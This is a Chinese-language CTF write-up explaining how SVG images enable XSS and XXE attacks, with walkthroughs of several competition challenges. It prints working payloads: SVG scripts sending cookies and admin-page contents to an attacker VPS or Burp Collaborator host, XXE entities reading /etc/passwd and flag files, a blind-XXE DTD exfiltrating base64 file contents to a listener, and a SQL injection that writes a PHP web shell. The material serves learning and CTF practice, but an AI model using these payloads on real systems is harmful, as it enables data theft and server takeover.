淺談SVG的兩個黑魔法


本文首發於“合天網安實驗室”作者:Kawhi

本文涉及靶場知識點:

XXE漏洞分析與實踐:實驗:XXE漏洞分析與實踐(合天網安實驗室)

XXE漏洞發生在程序解析XML輸入時,沒有禁止外部實體的加載,導致可以加載惡意的外部文件,可以造成任意文件讀取、命令執行、內網端口掃描、攻擊內網網站、DoS攻擊等危害。通過本課程的學習,你將掌握XXE漏洞的原理,學會XXE漏洞利用技術以及防御方法。

前言

之前在CTF比賽中遇到了一些關於SVG造成的安全問題,多虧諸多師傅的題目給我的一頓痛打讓我又了解了不少新的知識和SVG在WEB安全中的應用,拓展了我的攻擊面。

SVG簡介

SVG(Scalable Vector Graphics)是一種基於XML的二維矢量圖格式,和我們平常用的jpg/png等圖片格式所不同的是SVG圖像在放大或改變尺寸的情況下其圖形質量不會有所損失,並且我們可以使用任何的文本編輯器打開SVG圖片並且編輯它,目前主流的瀏覽器都已經支持SVG圖片的渲染。

SVG造成XSS

直奔主題

我們在一張SVG圖片里面插入一個JavaScript代碼。

<svg xmlns="http://www.w3.org/2000/svg" version="1.1">
   <circle cx="100" cy="50" r="40" stroke="black" stroke-width="2" fill="red" />
   <script>alert(1)</script>
</svg>

我們用瀏覽器打開它會發現它會造成XSS。

刨根問底

為什么這樣的SVG圖片會造成跨站腳本問題呢?這是因為SVG是支持通過腳本語言來動態訪問和修改SVG的任何內容,這點和HTML中的DOM類似,或者說完全一致。因為SVG中的所有標簽和屬性都已經對應了已經定義的DOM,而這種腳本語言就是JavaScript,所以我們在SVG中插入JavaScript腳本是完全能夠被解析的。

可以看到在國際的SVG標准中定義了script標簽的存在,總之XSS之所以能夠執行是因為遵循了svg及xml的標准。

那么假設存在一個能夠上傳SVG的WEB服務器,並且沒有對SVG內容進行嚴格過濾,這就很有可能造成XSS問題。

CTF中的應用場景

XSSME

題目地址:https://xssrf.hackme.inndy.tw/

本題是給admin發一封郵件,然后admin會查看你發送的郵件,很明顯的xss盜取管理員cookie,但是這里經過fuzz發現過濾了如下字符:

<script
)
onmouseover
空格onload
空格onerror
<iframe

我們這里可以考慮用SVG標簽來進行XSS,比如:

<svg/onload=alert(1)>

這里我們可以發送到VPS測試一下是否有效

<svg/onload="document.location='http://vps-ip:1234'">

vps成功接收到信息

然后再獲取cookie即可

<svg/onload="document.location='http://vps-ip:1234/?'+document.cookie">

Teaser Confidence CTF 2019:Web 50

本題是一道比較經典的利用svg去構造xss的題目,但是由於題目並沒有開源,所以沒辦法復現,這里主要學習他的思路。

根據題目描述,有兩個功能,一個是報告BUG,一個是修改個人信息,然后管理員會查看該域名下的某處頁面,這里主要是通過xss獲取admin頁面Secret表單的值來獲取flag。

在個人資料頁面中,我們可以將頭像上傳到服務器,服務器將檢查此文件是否為有效圖像,並且大小必須為100x100。我們如果將有效的PNG圖片重命名為1.html,然后上傳。但是,HTTP內容類型仍為image/png,那么這里有個問題就是如果內容類型為image/png,則將此鏈接發送給admin不會觸發XSS有效負載。

所以這里就可以使用svg作為媒介來構造xss,去獲取secret的值,這里直接貼一下payload

<?xml version="1.0" encoding="UTF-8"?> <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" id="Layer_1" x="0px" y="0px" width="100px" height="100px" viewBox="-12.5 -12.5 100 100" xml:space="preserve"> 
  ...
  <g>
    <polygon fill="#00B0D9" points="41.5,40 38.7,39.2 38.7,47.1 41.5,47.1 "></polygon>
    <script type="text/javascript">
      var xhr = new XMLHttpRequest();
      xhr.onreadystatechange = function() {
        if (xhr.readyState === 4) {
          var xhr2 = new XMLHttpRequest();
          xhr2.open("POST", "http://XXXX.burpcollaborator.net/");
          xhr2.send(xhr.responseText);
        }
      }   
      xhr.open("GET", "http://web50.zajebistyc.tf/profile/admin");
      xhr.withCredentials = true;
      xhr.send();
    </script>
  </g>
  ...
</svg>

這里使用了burpcollaborator來外帶數據,Burp Suite在1.7之后的版本自帶了這個功能,獲取burpcollaborator的地址如圖所示:

最后在Reportbug處提交圖片即可獲得flag,這里借用一下郁離歌師傅的圖。

SVG造成XXE

前面說了SVG是基於XML的矢量圖,因此可以支持Entity(實體)功能,因此可以用來XXE。

CTF中的應用場景

這里從兩道經典的CTF題目來學習如何XXE並且結合SVG,這里分為有回顯和無回顯兩種情況。

有回顯的情況

svgmagic(BsidesSF CTF 2019)

github題目源碼:傳送門

buu平台也有上這道題目

打開頁面

打開頁面就提示Convert SVG to PNG with Magic

這里我們首先想到的思路就是文件上傳那些步驟,一句話木馬以及.htaccess等等,但是多次上傳利用無果,因為會報一個500的錯誤,這里的話可以利用SVG配合XXE去讀取他的一個文件。

我們直接讀取/etc/passwd試一下:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY file SYSTEM "file:///etc/passwd" >
]>
<svg height="100" width="1000">
  <text x="10" y="20">&file;</text>
</svg>

我們把上面這段代碼保存為1.svg,並上傳。

可以發現成功回顯了帶有/etc/passwd內容的圖片,但是圖像太小,無法容納所有內容,這里我們可以調整他的width寬度,調大一點就可以看到所有的內容了。

還有個問題就是我們並不知道flag的路徑,而/proc/self/pwd/代表的是當前路徑,可以構造/proc/self/pwd/flag.txt讀取文件。

最后payload如下:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY file SYSTEM "file:///proc/self/cwd/flag.txt" >
]>
<svg height="100" width="1000">
  <text x="10" y="20">&file;</text>
</svg>

我們保存為2.svg上傳,發現成功讀取到flag。

 

無回顯的情況

在說這個點之前,我們先來看看普通XXE無回顯是如何外帶數據的,這里我在本地演示一下:

先在本地PHPStudy寫入無回顯處理XML的代碼

xml.php

<?php
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
?>

然后在自己的VPS上放置

xml.dtd

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///C:/WINDOWS/win.ini">
<!ENTITY % start "<!ENTITY &#x25; send SYSTEM 'http://ip:1234/?%file;'>">

這里有幾個需要注意的點:

ip換成自己的vps的ip

這里的&#x25;會被xml解析成%,如果直接用%的話我本地會報錯。

注意這里使用偽協議讀取文件內容,是因為xml解析器支持使用php://filter進行編碼,至於為什么要使用偽協議對內容進行一個編碼呢,我自己在本地做測試的時候,發現如果文件的內容如果只是簡單的字母數字不加偽協議也可以,但是一旦帶有換行或者特殊的符號就會爆一個warning invaild url,所以保險起見還是加上,最后對文件內容做一個base64的解碼就行。

最后我們POST提交的payload

<?xml version="1.0"?>
<!DOCTYPE Note [
    <!ENTITY % remote SYSTEM "http://ip/xml.dtd">
    %remote;
    %start;
    %send;
]>

這里的ip同樣換成自己的vps的ip

下一步在VPS上開啟監聽1234端口

nc -lvp 1234

然后我們抓xml.php的POST包並發送payload

可以看到在vps上成功接收到了我本地C:/WINDOWS/win.ini這個文件的內容。

我們來梳理一下他的整個調用過程

  1. 首先我們payload中的% remote去獲取vps上的xml.dtd
  2. 然后xml.dtd中的% start去調用% file
  3. % file獲取服務器上的C:/WINDOWS/win.ini文件並將他base64編碼
  4. 最后通過% send將數據發送到vps監聽的1234端口上

這就是XXE實現外帶數據的整個流程,那么這個如何結合SVG呢,這里通過一道我之前打比賽的一道題為例子:

svgggggg!(DozerCTF2020)

這道題當時比賽的時候沒有做出來,因為當時水平有限,並沒有想到svg也是xml格式,可以用來XXE,這道題確實質量可以,學到了很多新的姿勢,下面給出我復現的過程。

題目給的兩個hint:

  • 用戶r1ck的操作記錄在哪兒來着
  • 如果你發現了sql注入,直接getshell吧,flag在/app目錄里

復現過程如下:

打開網頁,有一個框要求輸入URL,然后檢查URL指向的file是不是svg圖片,如果請求的文件不是svg的話就會返回Unauthorized type!

我們先寫一個簡單的SVG圖片源碼放在vps上,保存為1.svg

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE Note [ 
<!ENTITY file "HELLO">
]>
<svg xmlns="http://www.w3.org/2000/svg" height="200" width="200">
  <text y="20" font-size="20">&file;</text> 
</svg>

提交SVG圖片源碼地址發現實體成功顯示,然后我們嘗試讀取一下用戶的history文件

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE Note [ 
<!ENTITY file SYSTEM "file:///home/r1ck/.bash_history">
]>
<svg xmlns="http://www.w3.org/2000/svg" height="200" width="200">
  <text y="20" font-size="20">&files;</text>
</svg>

頁面雖然正常返回信息,但是並不能直接讀到我們想要的東西,但是無回顯,所以這里就可以利用到盲XXE來外帶數據了,也就是通過加載外部一個dtd文件,然后把讀取結果以HTTP請求的方式發送到自己的VPS。

構造1.svg

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE Note [ 
<!ENTITY lab SYSTEM "file:///home/r1ck/.bash_history">
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///home/r1ck/.bash_history">
<!ENTITY % remote SYSTEM "http://39.105.158.221:1234/xml.dtd">
%remote;
%start;
%send;
]>
<svg xmlns="http://www.w3.org/2000/svg" height="200" width="200">
        <text y="20" font-size="20">&lab;</text>
</svg>

構造xml.dtd

<!ENTITY % start "<!ENTITY &#x25; send SYSTEM 'http://ip:1234/?%file;'>">

然后我們把1.svg和xml.dtd放到我們的vps上,然后在我們的vps上監聽1234端口,再在網頁提交1.svg的鏈接即可成功讀取到.bash_history,內容如下:

cd /app
php -S 0.0.0.0:8080

可以得知在8080端口有另外一個web服務,我們繼續利用XXE數據外帶讀取源碼,修改1.svg的一部分內容如下,其余操作一樣

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/app/index.php">

讀取到源碼如下:

<!doctype html>
<html>
<head>
<meta charset="UTF-8">
<title>index</title> 
</head>
Hi!
You Find Me .
Flag is nearby.
<body>
</body>
</html>
<?php 
$conn=mysql_connect('127.0.0.1','root','');
mysql_select_db('security');
if ($_GET['id']){
    $id = $_GET['id'];
}
else 
    $id = 1;
$sql = "select * from user where id='$id'";
$result = mysql_query($sql,$conn);
$arr = mysql_fetch_assoc($result);
print_r($arr);
?>

發現sql注入,沒有任何的過濾,直接利用into outfile寫個一句話木馬,當然這里要注意的是傳入的時候要url編碼。

http://127.0.0.1:8080/index.php?id=-1' union select 1,'<?php system($_GET[cmd]);>' into outfile'/app/dashabi.php'#

寫完shell之后,繼續利用數據外帶讀取內容,重復上面的步驟即可。

讀取文件目錄:

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=http://127.0.0.1:8080/dashabi.php?cmd=ls">

讀取flag:

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=http://127.0.0.1:8080/dashabi.php?cmd=cat%20H3re_1s_y0ur_f14g.php">

總結

SVG算是一個比較容易讓人忽視的點,但是他造成的一些問題卻是我們不能夠忽視的,在CTF中如果有些題目沒有限制SVG這個點的話,我們就可以嘗試用他來進行XSS或者XXE,然后在查閱資料的過程,發現在國外有人總結了SVG的攻擊XSS的一些payload以及防御的方案,具體可以參考:

https://svg.digi.ninja/

https://github.com/digininja/svg_xss

參考鏈接

http://yulige.top/?p=665

https://www.rootnetsec.com/bsidessf-svgmagick/

https://www.freebuf.com/vuls/207639.html

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM